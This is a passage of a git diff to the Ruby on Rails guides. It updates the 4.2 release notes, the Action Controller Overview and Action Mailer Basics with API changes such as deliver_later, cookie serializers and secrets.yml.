+    current environment.
+    ([Commit](https://github.com/rails/rails/commit/e2f232aba15937a4b9d14bd91e0392c6d55be58d))
+
+*   Introduced `ActiveRecord::Base#validate!` that raises
+    `ActiveRecord::RecordInvalid` if the record is invalid.
+    ([Pull Request](https://github.com/rails/rails/pull/8639))
+
+*   Introduced `validate` as an alias for `valid?`.
+    ([Pull Request](https://github.com/rails/rails/pull/14456))
+
+*   `touch` now accepts multiple attributes to be touched at once.
+    ([Pull Request](https://github.com/rails/rails/pull/14423))
+
+*   The PostgreSQL adapter now supports the `jsonb` datatype in PostgreSQL 9.4+.
+    ([Pull Request](https://github.com/rails/rails/pull/16220))
+
+*   The PostgreSQL and SQLite adapters no longer add a default limit of 255
+    characters on string columns.
+    ([Pull Request](https://github.com/rails/rails/pull/14579))
+
+*   Added support for the `citext` column type in the PostgreSQL adapter.
+    ([Pull Request](https://github.com/rails/rails/pull/12523))
+
+*   Added support for user-created range types in the PostgreSQL adapter.
+    ([Commit](https://github.com/rails/rails/commit/4cb47167e747e8f9dc12b0ddaf82bdb68c03e032))
+
+*   `sqlite3:///some/path` now resolves to the absolute system path
+    `/some/path`. For relative paths, use `sqlite3:some/path` instead.
+    (Previously, `sqlite3:///some/path` resolved to the relative path
+    `some/path`. This behavior was deprecated on Rails 4.1).
+    ([Pull Request](https://github.com/rails/rails/pull/14569))
+
+*   Added support for fractional seconds for MySQL 5.6 and above.
+    (Pull Request [1](https://github.com/rails/rails/pull/8240),
+    [2](https://github.com/rails/rails/pull/14359))
+
+*   Added `ActiveRecord::Base#pretty_print` to pretty print models.
+    ([Pull Request](https://github.com/rails/rails/pull/15172))
+
+*   `ActiveRecord::Base#reload` now behaves the same as `m = Model.find(m.id)`,
+    meaning that it no longer retains the extra attributes from custom
+    `SELECT`s.
+    ([Pull Request](https://github.com/rails/rails/pull/15866))
+
+*   `ActiveRecord::Base#reflections` now returns a hash with string keys instead
+    of symbol keys. ([Pull Request](https://github.com/rails/rails/pull/17718))
+
+*   The `references` method in migrations now supports a `type` option for
+    specifying the type of the foreign key (e.g. `:uuid`).
+    ([Pull Request](https://github.com/rails/rails/pull/16231))
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Removals
+
+*   Removed deprecated `Validator#setup` without replacement.
+    ([Pull Request](https://github.com/rails/rails/pull/10716))
+
+### Deprecations
+
+*   Deprecated `reset_#{attribute}` in favor of `restore_#{attribute}`.
+    ([Pull Request](https://github.com/rails/rails/pull/16180))
+
+*   Deprecated `ActiveModel::Dirty#reset_changes` in favor of
+    `clear_changes_information`.
+    ([Pull Request](https://github.com/rails/rails/pull/16180))
+
+### Notable changes
+
+*   Introduced `validate` as an alias for `valid?`.
+    ([Pull Request](https://github.com/rails/rails/pull/14456))
+
+*   Introduced the `restore_attributes` method in `ActiveModel::Dirty` to restore
+    the changed (dirty) attributes to their previous values.
+    (Pull Request [1](https://github.com/rails/rails/pull/14861),
+    [2](https://github.com/rails/rails/pull/16180))
+
+*   `has_secure_password` no longer disallows blank passwords (i.e. passwords
+    that contains only spaces) by default.
+    ([Pull Request](https://github.com/rails/rails/pull/16412))
+
+*   `has_secure_password` now verifies that the given password is less than 72
+    characters if validations are enabled.
+    ([Pull Request](https://github.com/rails/rails/pull/15708))
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+*   Removed deprecated `Numeric#ago`, `Numeric#until`, `Numeric#since`,
+    `Numeric#from_now`.
+    ([Commit](https://github.com/rails/rails/commit/f1eddea1e3f6faf93581c43651348f48b2b7d8bb))
+
+*   Removed deprecated string based terminators for `ActiveSupport::Callbacks`.
+    ([Pull Request](https://github.com/rails/rails/pull/15100))
+
+### Deprecations
+
+*   Deprecated `Kernel#silence_stderr`, `Kernel#capture` and `Kernel#quietly`
+    without replacement.
+    ([Pull Request](https://github.com/rails/rails/pull/13392))
+
+*   Deprecated `Class#superclass_delegating_accessor`, use
+    `Class#class_attribute` instead.
+    ([Pull Request](https://github.com/rails/rails/pull/14271))
+
+*   Deprecated `ActiveSupport::SafeBuffer#prepend!` as
+    `ActiveSupport::SafeBuffer#prepend` now performs the same function.
+    ([Pull Request](https://github.com/rails/rails/pull/14529))
+
+### Notable changes
+
+*   Introduced a new configuration option `active_support.test_order` for
+    specifying the order test cases are executed. This option currently defaults
+    to `:sorted` but will be changed to `:random` in Rails 5.0.
+    ([Commit](https://github.com/rails/rails/commit/53e877f7d9291b2bf0b8c425f9e32ef35829f35b))
+
+*   `Object#try` and `Object#try!` can now be used without an explicit receiver in the block.
+    ([Commit](https://github.com/rails/rails/commit/5e51bdda59c9ba8e5faf86294e3e431bd45f1830),
+    [Pull Request](https://github.com/rails/rails/pull/17361))
+
+*   The `travel_to` test helper now truncates the `usec` component to 0.
+    ([Commit](https://github.com/rails/rails/commit/9f6e82ee4783e491c20f5244a613fdeb4024beb5))
+
+*   Introduced `Object#itself` as an identity function.
+    (Commit [1](https://github.com/rails/rails/commit/702ad710b57bef45b081ebf42e6fa70820fdd810),
+    [2](https://github.com/rails/rails/commit/64d91122222c11ad3918cc8e2e3ebc4b0a03448a))
+
+*   `Object#with_options` can now be used without an explicit receiver in the block.
+    ([Pull Request](https://github.com/rails/rails/pull/16339))
+
+*   Introduced `String#truncate_words` to truncate a string by a number of words.
+    ([Pull Request](https://github.com/rails/rails/pull/16190))
+
+*   Added `Hash#transform_values` and `Hash#transform_values!` to simplify a
+    common pattern where the values of a hash must change, but the keys are left
+    the same.
+    ([Pull Request](https://github.com/rails/rails/pull/15819))
+
+*   The `humanize` inflector helper now strips any leading underscores.
+    ([Commit](https://github.com/rails/rails/commit/daaa21bc7d20f2e4ff451637423a25ff2d5e75c7))
+
+*   Introduced `Concern#class_methods` as an alternative to
+    `module ClassMethods`, as well as `Kernel#concern` to avoid the
+    `module Foo; extend ActiveSupport::Concern; end` boilerplate.
+    ([Commit](https://github.com/rails/rails/commit/b16c36e688970df2f96f793a759365b248b582ad))
+
+*   New [guide](constant_autoloading_and_reloading.html) about constant autoloading and reloading.
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](http://contributors.rubyonrails.org/) for
+the many people who spent many hours making Rails the stable and robust
+framework it is today. Kudos to all of them.
+
+[railties]:       https://github.com/rails/rails/blob/4-2-stable/railties/CHANGELOG.md
+[action-pack]:    https://github.com/rails/rails/blob/4-2-stable/actionpack/CHANGELOG.md
+[action-view]:    https://github.com/rails/rails/blob/4-2-stable/actionview/CHANGELOG.md
+[action-mailer]:  https://github.com/rails/rails/blob/4-2-stable/actionmailer/CHANGELOG.md
+[active-record]:  https://github.com/rails/rails/blob/4-2-stable/activerecord/CHANGELOG.md
+[active-model]:   https://github.com/rails/rails/blob/4-2-stable/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/4-2-stable/activesupport/CHANGELOG.md
diff --git a/guides/source/_license.html.erb b/guides/source/_license.html.erb
index 00b4466f50..d22f016948 100644
--- a/guides/source/_license.html.erb
+++ b/guides/source/_license.html.erb
@@ -1,2 +1,2 @@
-<p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+<p>This work is licensed under a <a href="https://creativecommons.org/licenses/by-sa/4.0/">Creative Commons Attribution-ShareAlike 4.0 International</a> License</p>
 <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb
index 9210c40c17..67f5f1cdd5 100644
--- a/guides/source/_welcome.html.erb
+++ b/guides/source/_welcome.html.erb
@@ -10,13 +10,15 @@
 </p>
 <% else %>
 <p>
-  These are the new guides for Rails 4.0 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>.
+  These are the new guides for Rails 5.0 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>.
   These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.
 </p>
 <% end %>
 <p>
-  The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.13/">http://guides.rubyonrails.org/v3.2.13/</a>.
-</p>
-<p>
-  The guides for Rails 2.3.x are available at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>.
+The guides for earlier releases:
+<a href="http://guides.rubyonrails.org/v4.2.0/">Rails 4.2.0</a>,
+<a href="http://guides.rubyonrails.org/v4.1.8/">Rails 4.1.8</a>,
+<a href="http://guides.rubyonrails.org/v4.0.12/">Rails 4.0.12</a>,
+<a href="http://guides.rubyonrails.org/v3.2.21/">Rails 3.2.21</a> and
+<a href="http://guides.rubyonrails.org/v2.3.11/">Rails 2.3.11</a>.
 </p>
diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md
index 8dcd544a52..80000baf66 100644
--- a/guides/source/action_controller_overview.md
+++ b/guides/source/action_controller_overview.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Action Controller Overview
 ==========================
 
@@ -34,7 +36,7 @@ The naming convention of controllers in Rails favors pluralization of the last w
 
 Following this convention will allow you to use the default route generators (e.g. `resources`, etc) without needing to qualify each `:path` or `:controller`, and keeps URL and path helpers' usage consistent throughout your application. See [Layouts & Rendering Guide](layouts_and_rendering.html) for more details.
 
-NOTE: The controller naming convention differs from the naming convention of models, which expected to be named in singular form.
+NOTE: The controller naming convention differs from the naming convention of models, which are expected to be named in singular form.
 
 
 Methods and Actions
@@ -112,6 +114,10 @@ NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&id
 
 The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
 
+NOTE: Values such as `[nil]` or `[nil, nil, ...]` in `params` are replaced
+with `[]` for security reasons by default. See [Security Guide](security.html#unsafe-query-generation)
+for more information.
+
 To send a hash you include the key name inside the brackets:
 
 ```html
@@ -209,7 +215,7 @@ class PeopleController < ActionController::Base
   # Request reply.
   def update
     person = current_account.people.find(params[:id])
-    person.update_attributes!(person_params)
+    person.update!(person_params)
     redirect_to person
   end
 
@@ -256,7 +262,7 @@ used:
 params.require(:log_entry).permit!
 ```
 
-This will mark the `:log_entry` parameters hash and any subhash of it
+This will mark the `:log_entry` parameters hash and any sub-hash of it
 permitted. Extreme care should be taken when using `permit!` as it
 will allow all current and future model attributes to be
 mass-assigned.
@@ -321,16 +327,16 @@ in mind. It is not meant as a silver bullet to handle all your
 whitelisting problems. However you can easily mix the API with your
 own code to adapt to your situation.
 
-Imagine a scenario where you want to whitelist an attribute
-containing a hash with any keys. Using strong parameters you can't
-allow a hash with any keys but you can use a simple assignment to get
-the job done:
+Imagine a scenario where you have parameters representing a product
+name and a hash of arbitrary data associated with that product, and
+you want to whitelist the product name attribute but also the whole
+data hash. The strong parameters API doesn't let you directly
+whitelist the whole of a nested hash with any keys, but you can use
+the keys of your nested hash to declare what to whitelist:
 
 ```ruby
 def product_params
-  params.require(:product).permit(:name).tap do |whitelisted|
-    whitelisted[:data] = params[:product][:data]
-  end
+  params.require(:product).permit(:name, data: params[:product][:data].try(:keys))
 end
 ```
 
@@ -350,7 +356,7 @@ For most stores, this ID is used to look up the session data on the server, e.g.
 
 The CookieStore can store around 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
 
-If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time.
+If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using `ActionDispatch::Session::CacheStore`. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time.
 
 Read more about session storage in the [Security Guide](security.html).
 
@@ -360,33 +366,48 @@ If you need a different session storage mechanism, you can change it in the `con
 # Use the database for sessions instead of the cookie-based default,
 # which shouldn't be used to store highly confidential information
 # (create the session table with "rails g active_record:session_migration")
-# YourApp::Application.config.session_store :active_record_store
+# Rails.application.config.session_store :active_record_store
 ```
 
 Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in `config/initializers/session_store.rb`:
 
 ```ruby
 # Be sure to restart your server when you modify this file.
-YourApp::Application.config.session_store :cookie_store, key: '_your_app_session'
+Rails.application.config.session_store :cookie_store, key: '_your_app_session'
 ```
 
 You can also pass a `:domain` key and specify the domain name for the cookie:
 
 ```ruby
 # Be sure to restart your server when you modify this file.
-YourApp::Application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"
+Rails.application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"
 ```
 
-Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/initializers/secret_token.rb`
+Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/secrets.yml`
 
 ```ruby
 # Be sure to restart your server when you modify this file.
 
-# Your secret key for verifying the integrity of signed cookies.
+# Your secret key is used for verifying the integrity of signed cookies.
 # If you change this key, all old signed cookies will become invalid!
+
 # Make sure the secret is at least 30 characters and all random,
 # no regular words or you'll be exposed to dictionary attacks.
-YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...'
+# You can use `rake secret` to generate a secure secret key.
+
+# Make sure the secrets in this file are kept private
+# if you're sharing your code publicly.
+
+development:
+  secret_key_base: a75d...
+
+test:
+  secret_key_base: 492f...
+
+# Do not keep production secrets in the repository,
+# instead read values from the environment.
+production:
+  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
 ```
 
 NOTE: Changing the secret when using the `CookieStore` will invalidate all existing sessions.
@@ -568,6 +589,62 @@ end
 
 Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`.
 
+Rails also provides a signed cookie jar and an encrypted cookie jar for storing
+sensitive data. The signed cookie jar appends a cryptographic signature on the
+cookie values to protect their integrity. The encrypted cookie jar encrypts the
+values in addition to signing them, so that they cannot be read by the end user.
+Refer to the [API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html)
+for more details.
+
+These special cookie jars use a serializer to serialize the assigned values into
+strings and deserializes them into Ruby objects on read.
+
+You can specify what serializer to use:
+
+```ruby
+Rails.application.config.action_dispatch.cookies_serializer = :json
+```
+
+The default serializer for new applications is `:json`. For compatibility with
+old applications with existing cookies, `:marshal` is used when `serializer`
+option is not specified.
+
+You may also set this option to `:hybrid`, in which case Rails would transparently
+deserialize existing (`Marshal`-serialized) cookies on read and re-write them in
+the `JSON` format. This is useful for migrating existing applications to the
+`:json` serializer.
+
+It is also possible to pass a custom serializer that responds to `load` and
+`dump`:
+
+```ruby
+Rails.application.config.action_dispatch.cookies_serializer = MyCustomSerializer
+```
+
+When using the `:json` or `:hybrid` serializer, you should beware that not all
+Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects
+will be serialized as strings, and `Hash`es will have their keys stringified.
+
+```ruby
+class CookiesController < ApplicationController
+  def set_cookie
+    cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
+    redirect_to action: 'read_cookie'
+  end
+
+  def read_cookie
+    cookies.encrypted[:expiration_date] # => "2014-03-20"
+  end
+end
+```
+
+It's advisable that you only store simple data (strings and numbers) in cookies.
+If you have to store complex objects, you would need to handle the conversion
+manually when reading the values on subsequent requests.
+
+If you use the cookie session store, this would apply to the `session` and
+`flash` hash as well.
+
 Rendering XML and JSON data
 ---------------------------
 
@@ -665,14 +742,17 @@ The first is to use a block directly with the *_action methods. The block receiv
 ```ruby
 class ApplicationController < ActionController::Base
   before_action do |controller|
-    redirect_to new_login_url unless controller.send(:logged_in?)
+    unless controller.send(:logged_in?)
+      flash[:error] = "You must be logged in to access this section"
+      redirect_to new_login_url
+    end
   end
 end
 ```
 
 Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
 
-The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
+The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and cannot be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
 
 ```ruby
 class ApplicationController < ActionController::Base
@@ -680,16 +760,16 @@ class ApplicationController < ActionController::Base
 end
 
 class LoginFilter
-  def self.filter(controller)
+  def self.before(controller)
     unless controller.send(:logged_in?)
-      controller.flash[:error] = "You must be logged in"
+      controller.flash[:error] = "You must be logged in to access this section"
       controller.redirect_to controller.new_login_url
     end
   end
 end
 ```
 
-Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method `filter` which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same `filter` method, which will get run in the same way. The method must `yield` to execute the action. Alternatively, it can have both a `before` and an `after` method that are run before and after the action.
+Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class must implement a method with the same name as the filter, so for the `before_action` filter the class must implement a `before` method, and so on. The `around` method must `yield` to execute the action.
 
 Request Forgery Protection
 --------------------------
@@ -794,7 +874,7 @@ class AdminsController < ApplicationController
 end
 ```
 
-With this in place, you can create namespaced controllers that inherit from `AdminController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
+With this in place, you can create namespaced controllers that inherit from `AdminsController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
 
 ### HTTP Digest Authentication
 
@@ -808,11 +888,11 @@ class AdminsController < ApplicationController
 
   private
 
-  def authenticate
-    authenticate_or_request_with_http_digest do |username|
-      USERS[username]
+    def authenticate
+      authenticate_or_request_with_http_digest do |username|
+        USERS[username]
+      end
     end
-  end
 end
 ```
 
@@ -839,13 +919,13 @@ class ClientsController < ApplicationController
 
   private
 
-  def generate_pdf(client)
-    Prawn::Document.new do
-      text client.name, align: :center
-      text "Address: #{client.address}"
-      text "Email: #{client.email}"
-    end.render
-  end
+    def generate_pdf(client)
+      Prawn::Document.new do
+        text client.name, align: :center
+        text "Address: #{client.address}"
+        text "Email: #{client.email}"
+      end.render
+    end
 end
 ```
 
@@ -914,6 +994,11 @@ you would like in a response object. The `ActionController::Live` module allows
 you to create a persistent connection with a browser. Using this module, you will
 be able to send arbitrary data to the browser at specific points in time.
 
+NOTE: The default Rails server (WEBrick) is a buffering web server and does not
+support streaming. In order to use this feature, you'll need to use a non buffering
+server like [Puma](http://puma.io), [Rainbows](http://rainbows.bogomips.org)
+or [Passenger](https://www.phusionpassenger.com).
+
 #### Incorporating Live Streaming
 
 Including `ActionController::Live` inside of your controller class will provide
@@ -990,7 +1075,7 @@ you should also note the following things:
 * Failing to close the response stream will leave the corresponding socket open
   forever. Make sure to call `close` whenever you are using a response stream.
 * WEBrick servers buffer all responses, and so including `ActionController::Live`
-  will not work. You must use a web server which does not automatically buffer 
+  will not work. You must use a web server which does not automatically buffer
   responses.
 
 Log Filtering
@@ -1000,7 +1085,7 @@ Rails keeps a log file for each environment in the `log` folder. These are extre
 
 ### Parameters Filtering
 
-You can filter certain request parameters from your log files by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.
+You can filter out sensitive request parameters from your log files by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.
 
 ```ruby
 config.filter_parameters << :password
@@ -1008,7 +1093,7 @@ config.filter_parameters << :password
 
 ### Redirects Filtering
 
-Sometimes it's desirable to filter out from log files some sensible locations your application is redirecting to.
+Sometimes it's desirable to filter out from log files some sensitive locations your application is redirecting to.
 You can do that by using the `config.filter_redirect` configuration option:
 
 ```ruby
@@ -1048,9 +1133,9 @@ class ApplicationController < ActionController::Base
 
   private
 
-  def record_not_found
-    render text: "404 Not Found", status: 404
-  end
+    def record_not_found
+      render plain: "404 Not Found", status: 404
+    end
 end
 ```
 
@@ -1062,10 +1147,10 @@ class ApplicationController < ActionController::Base
 
   private
 
-  def user_not_authorized
-    flash[:error] = "You don't have access to this section."
-    redirect_to :back
-  end
+    def user_not_authorized
+      flash[:error] = "You don't have access to this section."
+      redirect_to :back
+    end
 end
 
 class ClientsController < ApplicationController
@@ -1079,13 +1164,15 @@ class ClientsController < ApplicationController
 
   private
 
-  # If the user is not authorized, just throw the exception.
-  def check_authorization
-    raise User::NotAuthorized unless current_user.admin?
-  end
+    # If the user is not authorized, just throw the exception.
+    def check_authorization
+      raise User::NotAuthorized unless current_user.admin?
+    end
 end
 ```
 
+WARNING: You shouldn't do `rescue_from Exception` or `rescue_from StandardError` unless you have a particular reason as it will cause serious side-effects (e.g. you won't be able to see exception details and tracebacks during development).
+
 NOTE: Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's [article](http://m.onkey.org/2008/7/20/rescue-from-dispatching) on the subject for more information.
 
 Force HTTPS protocol
diff --git a/guides/source/action_mailer_basics.md b/guides/source/action_mailer_basics.md
index bf34799eb3..e55ff16495 100644
--- a/guides/source/action_mailer_basics.md
+++ b/guides/source/action_mailer_basics.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Action Mailer Basics
 ====================
 
@@ -17,7 +19,10 @@ After reading this guide, you will know:
 Introduction
 ------------
 
-Action Mailer allows you to send emails from your application using mailer classes and views. Mailers work very similarly to controllers. They inherit from `ActionMailer::Base` and live in `app/mailers`, and they have associated views that appear in `app/views`.
+Action Mailer allows you to send emails from your application using mailer classes
+and views. Mailers work very similarly to controllers. They inherit from
+`ActionMailer::Base` and live in `app/mailers`, and they have associated views
+that appear in `app/views`.
 
 Sending Emails
 --------------
@@ -30,12 +35,28 @@ views.
 #### Create the Mailer
 
 ```bash
-$ rails generate mailer UserMailer
+$ bin/rails generate mailer UserMailer
 create  app/mailers/user_mailer.rb
+create  app/mailers/application_mailer.rb
 invoke  erb
 create    app/views/user_mailer
+create    app/views/layouts/mailer.text.erb
+create    app/views/layouts/mailer.html.erb
 invoke  test_unit
 create    test/mailers/user_mailer_test.rb
+create    test/mailers/previews/user_mailer_preview.rb
+```
+
+```ruby
+# app/mailers/application_mailer.rb
+class ApplicationMailer < ActionMailer::Base
+  default from: "from@example.com"
+  layout 'mailer'
+end
+
+# app/mailers/user_mailer.rb
+class UserMailer < ApplicationMailer
+end
 ```
 
 As you can see, you can generate mailers just like you use other generators with
@@ -60,8 +81,7 @@ delivered via email.
 `app/mailers/user_mailer.rb` contains an empty mailer:
 
 ```ruby
-class UserMailer < ActionMailer::Base
-  default from: 'from@example.com'
+class UserMailer < ApplicationMailer
 end
 ```
 
@@ -69,7 +89,7 @@ Let's add a method called `welcome_email`, that will send an email to the user's
 registered email address:
 
 ```ruby
-class UserMailer < ActionMailer::Base
+class UserMailer < ApplicationMailer
   default from: 'notifications@example.com'
 
   def welcome_email(user)
@@ -84,8 +104,11 @@ Here is a quick explanation of the items presented in the preceding method. For
 a full list of all available options, please have a look further down at the
 Complete List of Action Mailer user-settable attributes section.
 
-* `default Hash` - This is a hash of default values for any email you send from this mailer. In this case we are setting the `:from` header to a value for all messages in this class. This can be overridden on a per-email basis.
-* `mail` - The actual email message, we are passing the `:to` and `:subject` headers in.
+* `default Hash` - This is a hash of default values for any email you send from
+this mailer. In this case we are setting the `:from` header to a value for all
+messages in this class. This can be overridden on a per-email basis.
+* `mail` - The actual email message, we are passing the `:to` and `:subject`
+headers in.
 
 Just like controllers, any instance variables we define in the method become
 available for use in the views.
@@ -105,7 +128,7 @@ will be the template used for the email, formatted in HTML:
     <h1>Welcome to example.com, <%= @user.name %></h1>
     <p>
       You have successfully signed up to example.com,
-      your username is: <%= @user.login %>.<br/>
+      your username is: <%= @user.login %>.<br>
     </p>
     <p>
       To login to the site, just follow this link: <%= @url %>.
@@ -138,7 +161,7 @@ When you call the `mail` method now, Action Mailer will detect the two templates
 
 Mailers are really just another way to render a view. Instead of rendering a
 view and sending out the HTTP protocol, they are just sending it out through the
-Email protocols instead. Due to this, it makes sense to just have your
+email protocols instead. Due to this, it makes sense to just have your
 controller tell the Mailer to send an email when a user is successfully created.
 
 Setting this up is painfully simple.
@@ -146,14 +169,17 @@ Setting this up is painfully simple.
 First, let's create a simple `User` scaffold:
 
 ```bash
-$ rails generate scaffold user name email login
-$ rake db:migrate
+$ bin/rails generate scaffold user name email login
+$ bin/rake db:migrate
 ```
 
 Now that we have a user model to play with, we will just edit the
-`app/controllers/users_controller.rb` make it instruct the UserMailer to deliver
+`app/controllers/users_controller.rb` make it instruct the `UserMailer` to deliver
 an email to the newly created user by editing the create action and inserting a
-call to `UserMailer.welcome_email` right after the user is successfully saved:
+call to `UserMailer.welcome_email` right after the user is successfully saved.
+
+Action Mailer is nicely integrated with Active Job so you can send emails outside
+of the request-response cycle, so the user doesn't have to wait on it:
 
 ```ruby
 class UsersController < ApplicationController
@@ -164,8 +190,8 @@ class UsersController < ApplicationController
 
     respond_to do |format|
       if @user.save
-        # Tell the UserMailer to send a welcome Email after save
-        UserMailer.welcome_email(@user).deliver
+        # Tell the UserMailer to send a welcome email after save
+        UserMailer.welcome_email(@user).deliver_later
 
         format.html { redirect_to(@user, notice: 'User was successfully created.') }
         format.json { render json: @user, status: :created, location: @user }
@@ -178,8 +204,29 @@ class UsersController < ApplicationController
 end
 ```
 
-The method `welcome_email` returns a `Mail::Message` object which can then just
-be told `deliver` to send itself out.
+NOTE: Active Job's default behavior is to execute jobs ':inline'. So, you can use
+`deliver_later` now to send emails, and when you later decide to start sending
+them from a background job, you'll only need to set up Active Job to use a queueing
+backend (Sidekiq, Resque, etc).
+
+If you want to send emails right away (from a cronjob for example) just call
+`deliver_now`:
+
+```ruby
+class SendWeeklySummary
+  def run
+    User.find_each do |user|
+      UserMailer.weekly_summary(user).deliver_now
+    end
+  end
+end
+```
+
+The method `welcome_email` returns a `ActionMailer::MessageDelivery` object which
+can then just be told `deliver_now` or `deliver_later` to send itself out. The
+`ActionMailer::MessageDelivery` object is just a wrapper around a `Mail::Message`. If
+you want to inspect, alter or do anything else with the `Mail::Message` object you can
+access it with the `message` method on the `ActionMailer::MessageDelivery` object.
 
 ### Auto encoding header values
 
@@ -230,9 +277,11 @@ different, encode your content and pass in the encoded content and encoding in a
 
     ```ruby
     encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
-    attachments['filename.jpg'] = {mime_type: 'application/x-gzip',
-                                   encoding: 'SpecialEncoding',
-                                   content: encoded_content }
+    attachments['filename.jpg'] = {
+      mime_type: 'application/x-gzip',
+      encoding: 'SpecialEncoding',
+      content: encoded_content
+    }
     ```
 
 NOTE: If you specify an encoding, Mail will assume that your content is already
@@ -266,8 +315,7 @@ Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in p
     ```html+erb
     <p>Hello there, this is our image</p>
 
-    <%= image_tag attachments['image.jpg'].url, alt: 'My Photo',
-                                                class: 'photos' %>
+    <%= image_tag attachments['image.jpg'].url, alt: 'My Photo', class: 'photos' %>
     ```
 
 #### Sending Email To Multiple Recipients
@@ -301,7 +349,7 @@ email address in the format `"Full Name <email>"`.
 ```ruby
 def welcome_email(user)
   @user = user
-  email_with_name = "#{@user.name} <#{@user.email}>"
+  email_with_name = %("#{@user.name}" <#{@user.email}>)
   mail(to: email_with_name, subject: 'Welcome to My Awesome Site')
 end
 ```
@@ -317,7 +365,7 @@ for the HTML version and `welcome_email.text.erb` for the plain text version.
 To change the default mailer view for your action you do something like:
 
 ```ruby
-class UserMailer < ActionMailer::Base
+class UserMailer < ApplicationMailer
   default from: 'notifications@example.com'
 
   def welcome_email(user)
@@ -339,7 +387,7 @@ If you want more flexibility you can also pass a block and render specific
 templates or even render inline or text without using a template file:
 
 ```ruby
-class UserMailer < ActionMailer::Base
+class UserMailer < ApplicationMailer
   default from: 'notifications@example.com'
 
   def welcome_email(user)
@@ -369,7 +417,7 @@ layout.
 In order to use a different file, call `layout` in your mailer:
 
 ```ruby
-class UserMailer < ActionMailer::Base
+class UserMailer < ApplicationMailer
   layout 'awesome' # use awesome.(html|text).erb as the layout
 end
 ```
@@ -381,7 +429,7 @@ You can also pass in a `layout: 'layout_name'` option to the render call inside
 the format block to specify different layouts for different formats:
 
 ```ruby
-class UserMailer < ActionMailer::Base
+class UserMailer < ApplicationMailer
   def welcome_email(user)
     mail(to: user.email) do |format|
       format.html { render layout: 'my_layout' }
@@ -406,18 +454,25 @@ globally in `config/application.rb`:
 config.action_mailer.default_url_options = { host: 'example.com' }
 ```
 
-#### generating URLs with `url_for`
+Because of this behavior you cannot use any of the `*_path` helpers inside of
+an email. Instead you will need to use the associated `*_url` helper. For example
+instead of using
+
+```
+<%= link_to 'welcome', welcome_path %>
+```
 
-You need to pass the `only_path: false` option when using `url_for`. This will
-ensure that absolute URLs are generated because the `url_for` view helper will,
-by default, generate relative URLs when a `:host` option isn't explicitly
-provided.
+You will need to use:
 
-```erb
-<%= url_for(controller: 'welcome',
-            action: 'greeting',
-            only_path: false) %>
 ```
+<%= link_to 'welcome', welcome_url %>
+```
+
